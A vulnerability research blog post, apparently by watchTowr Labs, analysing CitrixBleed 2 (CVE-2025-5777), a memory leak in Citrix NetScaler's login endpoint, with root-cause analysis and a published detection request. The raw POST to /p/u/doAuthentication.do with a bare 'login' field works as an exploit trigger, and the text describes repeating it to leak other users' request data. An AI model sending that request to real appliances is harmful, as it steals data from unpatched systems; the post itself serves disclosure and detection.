How Much More Must We Bleed? - Citrix NetScaler Memory Disclosure (CitrixBleed 2 CVE-2025-5777)
Before you dive into our latest diatribe, indulge us and join us on a journey.
Sit in your chair, stand at your desk, lick your phone screen - close your eyes and imagine a world in which things are great. It’s sunny outside, the birds are chirping, and your Secure-by-Design promise ring feels great.
You’ve decided to build a network over the weekend. Why, you ask? Because you can.
Saturday morning comes, and you’re sitting there (naturally, Bambi is by your side) building your network. "What should I use to help secure my environment and access to it?” you ponder. Obviously, because you lack individual thought, you type your question into ChatGPT - “You’re in luck, there’s an entire industry that builds enterprise-grade, enterprise-priced secure remote access appliances!”
“Brilliant” you say while smirking before deploying your chosen solution, patting yourself on the back and moving on to other things. “Isn’t it nice to be able to do such things so securely?” you ponder to yourself.
Then you wake up and realise:
- It’s 2025
- Everyone is laughing at you because you were asleep at your desk, drooling on a participation trophy
- Your network has just been ravaged by 7 APT groups who all have a different zero-day for the secure remote network access appliance you deployed.
“Thank god the vendor signed that pledge - back to a normal Tuesday, I guess”.
Welcome to another watchTowr Labs blog post.
In the last few weeks, there has been a significant amount of discussion around two exploited in-the-wild vulnerabilities affecting Citrix Netscaler devices:
- CVE-2025-5777
- CVE-2025-6543
Today, we’ll focus on CVE-2025-5777, which Citrix eloquently describes as follows:
- Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server
This sounds.. suspiciously… similar to CitrixBleed (the old one, not the new one - depressing that we can say that) identified as CVE-2023-4966.
CitrixBleed is infamous both because it was a serious vulnerability that allowed the disclosure of memory and subsequent remote access session hijacking and because, two years later, we are still reeling from the aftermath of the prolific exploitation this vulnerability received.
Previously, we stated that we had no intention to release this vulnerability analysis. Both aforementioned 2025 (the new ones) vulnerabilities are, right now as we speak, on the receiving end of in-the-wild exploitation, but there is a significant portion of the Citrix Netscaler user base that have still not patched.
As we have discussed previously, we have a moral compass next to one of our favourite magnets, and we use it to guide our decision-making process.
However, we have been actively engaged behind the scenes, sharing information and reproducers with the watchTowr Platform user base, who rely on our technology to rapidly determine their exposure, and numerous industry bodies to do our part in a broader global response.
We have been led to believe that information sharing in the form of IoCs, exploitation artefacts, and more items that would be helpful for Citrix NetScaler end users has been… “minimal”, which puts these users in a tough position when determining if they need to sound an internal alarm.
The below is a hypothetical but all too familiar scenario of how this impacts us all:
- In-the-wild exploitation is blazing away
- Your infrastructure team has convinced themselves that they are not affected
- You can’t enumerate the versions of your appliances because that’s an authenticated function, and you’re not allowed access
- You have no IoCs or exploitation artefacts to ask anyone to check for or query logs for
- Patching will continue per SLAs unless you can demonstrate something material
- Meanwhile, the world is burning down
- The long tail of CitrixBleed-involved compromises repeat
- At some point, a hospital gets taken offline.
Now, yes, in fairness, we’ve obviously completely made this up, and the self-proclaimed intellectuals on some random social media website do, in fact, know better from their experience of glueing Lego pieces together and eating crayons.
But, given we want to believe our made-up scenario, we have thus made the decision to:
- Release analysis, and ensure it’s not just the “bad people” who can identify a vulnerable appliance
- Release reproducers that don’t act as weaponized PoCs but will allow confident, evidence-based determination of whether a target Citrix Netscaler appliance is vulnerable.
- No Detection Artefact Generator will be released today.
If you have any concerns and further thoughts, please email us at secure@cloud.com.
Let’s dive in.
It’s Staring You In The Face
You’ve seen this page a million times - it's your favourite, the Citrix Gateway login page. The vulnerability is here - do you see it?
Look closer. Still no?
Well, let’s take it a step further. When you attempt to authenticate to the Citrix Netscaler using this form, the below HTTP request and response occur behind the scenes:
This is a fairly simple request and not unusual in structure for an authentication mechanism. The same can be said for the response - a typical response you’d expect for a failed authentication attempt.
If we scroll down the XML returned in response to this authentication attempt, we can see the XML tag <InitialValue></InitialValue>
with our username of choice reflected back to us.
“Great, watchTowr - really informative.” OK, just stay with us.
What would happen if we gave the login
parameter and value a little bit of attention, given that we have something at least controllable.
Let’s try replaying the same request, while only keeping the login
parameter.
Magic, something is still happening that reflects our input back to us. Let’s keep causing trouble..
What if we removed the value assigned to login
parameter? Our expectation would be that the value of the <InitialValue></InitialValue>
tags within the XML response would be empty - but again, let’s see.
This makes sense - there is likely backend logic that performs a simple check when handling the login request, such as:
“If the login
parameter is present but its value is empty, then the corresponding backend variable (e.g., a struct member like ->username, or even a local buffer) should also be initialized to... well, empty!”
Again, this behaviour is typical in authentication functionality. Backends often parse incoming form data into a structure or object, especially when you decide to roll your own authentication code when you are distracted and more concerned about Y2K.
If the login
parameter has no value, the field it maps to would be assigned to something like an empty string or NULL.
However, this is where things get interesting. In these sorts of implementations, strange things can happen because parsing logic is regularly bizarre.
What if we just provide the login
parameter, but don’t provide the equal sign or a value (expected by the HTTP spec) to try and trigger parsing issues?
Uh…. right…. ok….. good……
We’re fairly certain that’s weird - maybe it’s a glitch in the matrix, or maybe it’s a memory leak of some sort?
Let’s resend our request again..
Almost depressingly, it appears our hunch is correct - it would appear we have found and reproduced CVE-2025-5777 given we are seeing the signs of an extraordinarily sophisticated memory leak.
What’s happening under the hood here is a classic case of C-language mischief. The backend parser ends up handing us back an uninitialized local variable. This variable was supposed to be properly initialised with the username provided in the login
parameter (i.e. as login=username
).
But, as discussed, given in the example above where we didn’t provide a value for the login
parameter at all, the server ends up responding with whatever junk data was left sitting on the stack. This is a textbook example of CWE-457: Use of Uninitialized Variable.
In other words, when the input is partially formed or missing, the backend doesn’t safely zero out or initialise the corresponding memory, and we end up leaking whatever residual data happened to occupy that memory space.
Root Cause Analysis
Now, we have trivialised this entire flow to paint a clear picture - let’s dive into the root cause.
When we began our typical patch diffing process, we were immediately faced with a significant challenge.
We suspected that the vulnerability, based on our experience of these devices, was somewhere within the infamous /netscaler/nsppe
. This binary represents the NetScaler Packet Processing Engine - a core component of the Citrix NetScaler solution.
Life is never that easy, though, and we were immediately faced with a significant challenge - a statically compiled binary, with thousands of changes (that look almost purposefully obstructive, Citrix.....).
Diving into this process, we chose 2 versions of the /netscaler/nsppe
binary to compare as part of our patch diffing process:
14.1.47.46.64 [patched]
14.1.43.50.64 [vulnerable]
As a side note, Diaphora and Bindiff both had a very difficult time diffing both versions of this binary, given the size and the amount of noise, but we got there.
Our analysis showed that Citrix’s fix for the issue boils down to this line:
We understand if this looks vague - what does a & 0x10
have to do with preventing this memory leak?
Well, our guess is that it likely has something to do with a flag that indicates if a username was provided in the login
parameter.
See the following pseudo-code as an example:
if (postData->hasField('login')) {
loginContext->hasUsername |= 0x10;
// "We saw the login field, so mark that we have a username"
}
The if
condition doesn’t check for login=
explicitly, or a value assigned to the login
parameter - it simply asks, “Does the HTTP POST body contain the field login
?”.
If it does, it flips the hasUsername
bit, which in turn signals that “a username has been provided”. After this, another piece of code sets a local buffer to the value of the provided username. However, since we’re not supplying any value, the buffer ends up uninitialized.
The next question we need to ask is: Which function is responsible for leaking the content back to us?
If we look at the previous HTTP responses we obtained, we know that our memory leak is wrapped inside an XML tag named <InitialValue>
. Searching for this string and its references in the nsppe
binary yields multiple hits.
After reviewing them, we identified the one that we’re actually interested in.
Let’s take a closer look at the format string being used (and shown in the screenshot above):
<InitialValue>%.*s</InitialValue>
I'm sure most are familiar with %s
and its function - but what about the .*
in %.*s
?
The %.*s
format tells snprintf
: “Print up to N characters, or stop at the first null byte (\\0
) - whichever comes first.” That null byte eventually appears somewhere in memory, so while the leak doesn’t run indefinitely, you still get a handful of bytes with each invocation.
So, every time you hit that endpoint without the =
, you pull more uninitialized stack data into the response.
Repeat it enough times, and eventually, you might land on something valuable.
Surprise - that’s exactly what we did next.
Leaking Memory
To test our theory, we decided we’d simply send an HTTP request with something easily identifiable in the memory leak.
As can be seen in the screenshot below, we used the string “watchTowr” repeated multiple times within the User-Agent header. Sending the HTTP request once wouldn’t increase our chances of our imaginative string turning up in the uninitialized buffer, so we figured we’d just spam requests.
Leveraging our own Detection Artefact Generator, we hammered the endpoint, continuously bleeding the server and watching for our unique marker in the leak.
Keep watching, and at some point, we get our desired value returned to us - demonstrating that we can successfully read HTTP requests out of memory:
As you can see, the amount of memory leaked each time is different - why?
As we mentioned earlier, since the format string is a %.*s
, the memory leak stops right before a null byte is encountered in memory. However, if we keep attempting to leak memory repeatedly, we increase our chances of being lucky and odds of leaking another user's HTTP request:
It’s important to note that during our testing, no cookies, session IDs, or passwords were found in the leaked content.
Since this is a memory leak and inherently non-deterministic, there’s always a chance that running the tool for a longer period might eventually surface something more valuable. Or to be clearer - we believe, for reasons, that ‘production’ environments with VPN connections established would allow us to more trivially see sensitive information within captured memory leaks.
Detection Strategy
To identify vulnerable hosts, please use the following HTTP request:
HTTP Request:
POST /p/u/doAuthentication.do HTTP/1.0
Host: target
User-Agent: watchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowrwatchTowr
Content-Length: 5
Connection: keep-alive
login
Once sent to a Citrix Netscaler, the format of <InitialValue></InitialValue>
in the HTTP response will be enough to determine exploitability and vulnerability (we are verbose here so you can build your own mechanisms):
Vulnerable response example:
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 1962
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<AuthenticateResponse
xmlns="<http://citrix.com/authentication/response/1>">
<Status>success</Status>
<Result>more-info</Result>
<StateContext>bG9naW5zY2hlbWE9ZGVmYXVsdA==</StateContext>
<AuthenticationRequirements>
<PostBack>/p/u/doAuthentication.do</PostBack>
<CancelPostBack>/p/u/doLogoff.do</CancelPostBack>
<CancelButtonText>Cancel</CancelButtonText>
<Requirements>
<Requirement>
<Credential>
<Type>none</Type>
</Credential>
<Label>
<Type>nsg-login-heading</Type>
<Text>nsg_loginHeading</Text>
</Label>
</Requirement>
<Requirement>
<Credential>
<ID>login</ID>
<SaveID>login</SaveID>
<Type>username</Type>
</Credential>
<Label>
<Text>nsg_username</Text>
<Type>nsg-login-label</Type>
</Label>
<Input>
<Text>
<ReadOnly>false</ReadOnly>
<InitialValue>É|¼Cž÷PkÓßYsa5ÊÞÅÐ^šÐ”|@º‹JŸZõ¶@”¹^ì¶Uã™7K›èg Oë@’¼~hL1{Xövn^›ÐÛ·˜¹ƒ˜8dp}°$€üüŒÇ)7
(÷挾èÂpAgc¼TowrwatchTowrw</InitialValue>
<Constraint>.+</Constraint>
</Text>
</Input>
</Requirement>
<Requirement>
<Credential>
<ID>passwd</ID>
<SaveID>passwd</SaveID>
<Type>password</Type>
</Credential>
<Label>
<Text>nsg_password1</Text>
<Type>nsg-login-label</Type>
</Label>
<Input>
<Text>
<Secret>true</Secret>
<Constraint>.+</Constraint>
</Text>
</Input>
</Requirement>
<Requirement>
<Credential>
<ID>savecredentials</ID>
<SaveID></SaveID>
<Type>savecredentials</Type>
</Credential>
<Label>
<Text>Remember my credentials</Text>
<Type>plain</Type>
</Label>
<Input>
<AssistiveText></AssistiveText>
<CheckBox>
<InitialValue>false</InitialValue>
</CheckBox>
</Input>
</Requirement>
<Requirement>
<Credential>
<ID>nsg-x1-logon-button</ID>
<Type>none</Type>
</Credential>
<Input>
<Button>Log On</Button>
</Input>
<Label>
<Type/>
</Label>
</Requirement>
<Requirement>
<Credential>
<ID>l20n-error</ID>
<SaveID></SaveID>
<Type>none</Type>
</Credential>
<Label>
<Text>Try again after some time or contact your help desk</Text>
<Type>nsg-l20n-error</Type>
</Label>
<Input/>
</Requirement>
</Requirements>
</AuthenticationRequirements>
</AuthenticateResponse>
Patched response example (there are many):
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Connection: close
Content-Length: 668
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<AuthenticateResponse
xmlns="<http://citrix.com/authentication/response/1>">
<Status>success</Status>
<Result>more-info</Result>
<StateContext></StateContext>
<AuthenticationRequirements>
<PostBack>/nf/auth/doAuthentication.do</PostBack>
<CancelPostBack>/nf/auth/doLogoff.do</CancelPostBack>
<CancelButtonText>Cancel</CancelButtonText>
<Requirements>
<Requirement>
<Credential>
<ID>l20n-error</ID>
<SaveID></SaveID>
<Type>none</Type>
</Credential>
<Label>
<Text>No active policy during authentication</Text>
<Type>....</Type>
</Label>
<Input/>
</Requirement>
</Requirements>
</AuthenticationRequirements>
</AuthenticateResponse>
It should be noted that we believe detection is most reliable when checking to ensure that an<InitalValue></InitialValue>
block is returned without content when sending thelogin
parameter without=
and a value.
Speak soon.